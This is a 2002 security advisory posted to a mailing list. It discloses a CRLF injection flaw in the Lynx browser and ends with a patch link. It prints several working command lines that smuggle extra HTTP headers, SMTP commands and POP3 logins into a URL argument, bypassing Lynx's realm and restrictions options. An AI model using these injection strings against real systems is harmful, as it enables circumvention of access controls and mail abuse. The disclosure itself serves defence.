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From: Ulf Harnhammar (ulfh_at_update.uu.se)
Date: Thu Aug 22 2002 - 12:32:59 CDT
Lynx CRLF Injection, part two
This is a follow-up to my "Lynx CRLF Injection" post a few days
ago.
* Lynx has got a realm feature that restricts users from accessing
any host apart from the host of its start page. That is, if you
start Lynx with "lynx -realm http://www.site1.st/", you are not
allowed to go to http://www.site2.st/ .
The CRLF Injection security hole allows users to break out of
realms - the command:
$ lynx -realm "http://www.site1.st/ HTTP/1.0
Host: www.site2.st
"
will show site2.st, despite the fact that it is outside of the realm.
* It allows users to send arbitrary cookies, user agents and
referers to a web server - even if you're using a restrictions option
saying that you're not allowed to change user agent:
$ lynx -restrictions=useragent "http://www.site1.st/ HTTP/1.0
User-Agent: Ulf 0.0
Referer: http://www.metaur.nu/
Cookie: user=ulf
"
* It is also possible to use this hole for communication with other
types of servers than HTTP servers. You can send e-mails with it, for
example - even if you're using a restrictions option saying that
you're not allowed to send e-mails:
$ lynx -restrictions=mail "http://mail.site1.st:587/ HTTP/1.0
HELO my.own.site
MAIL FROM: <my.own
mail.address>
RCPT TO: <info
site1.st>
DATA
From: my.own
mail.address
To: info
site1.st
Subject: This is..
This is a URL that sends an e-mail (?).
.
QUIT
"
You have to use port 587, as Lynx blocks port 25.
The MTA will complain about the "GET / HTTP/1.0" string, but it
still works.
* You can even use this hole for reading e-mails from a POP3 server:
$ lynx "http://mail.site1.st:110/ HTTP/1.0
USER ulf
PASS xxxx
LIST
RETR 1
QUIT
"
The POP3 server will also complain about the "GET / HTTP/1.0"
string, but it still works with this technology as well.
* As previously noted, the holes listed above mostly affects programs
that start Lynx, interactively or not, with a URL wholly or partially
under the user's control.
* The patch for this hole has moved to:
ftp://lynx.isc.org/lynx/lynx2.8.4/patches/lynx2.8.4rel.1c.patch
// Ulf Harnhammar
ulfh
update.uu.se
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